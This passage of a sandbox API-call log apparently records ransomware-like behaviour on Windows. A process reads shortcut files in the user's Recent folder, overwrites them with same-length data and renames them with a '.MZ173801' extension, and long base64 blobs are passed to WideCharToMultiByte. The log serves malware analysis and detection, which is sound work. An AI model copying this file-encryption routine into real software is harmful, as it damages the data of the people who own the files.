NTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.242] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VS9E98FuPzAd.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vs9e98fupzad.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.242] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0122.242] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.242] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xe67 [0122.242] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.242] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xe67, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xe67, lpOverlapped=0x0) returned 1 [0122.243] CloseHandle (hObject=0x288) returned 1 [0122.243] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VS9E98FuPzAd.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vs9e98fupzad.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.244] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xe67, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xe67, lpOverlapped=0x0) returned 1 [0122.246] CloseHandle (hObject=0x288) returned 1 [0122.247] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VS9E98FuPzAd.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vs9e98fupzad.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VS9E98FuPzAd.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vs9e98fupzad.lnk.mz173801")) returned 1 [0122.248] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf93d680, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf93d680, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf93d680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xeab, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="vy7emGl6.flv.lnk", cAlternateFileName="VY7EMG~1.LNK")) returned 1 [0122.248] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.248] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.248] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vy7emGl6.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vy7emgl6.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf93d680, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf93d680, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf93d680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xeab)) returned 1 [0122.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.251] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.253] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vy7emGl6.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vy7emgl6.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.253] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0122.253] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xeab, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xeab, lpOverlapped=0x0) returned 1 [0122.254] CloseHandle (hObject=0x288) returned 1 [0122.254] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vy7emGl6.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vy7emgl6.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.255] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xeab, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xeab, lpOverlapped=0x0) returned 1 [0122.257] CloseHandle (hObject=0x288) returned 1 [0122.264] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vy7emGl6.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vy7emgl6.flv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vy7emGl6.flv.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vy7emgl6.flv.lnk.mz173801")) returned 1 [0122.266] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf4a0be0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf4a0be0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf4a0be0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x26b, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="w0uRZSuowOKzyGbEL2.lnk", cAlternateFileName="W0URZS~1.LNK")) returned 1 [0122.266] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.266] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.266] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\w0uRZSuowOKzyGbEL2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\w0urzsuowokzygbel2.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf4a0be0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf4a0be0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf4a0be0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x26b)) returned 1 [0122.268] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.268] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3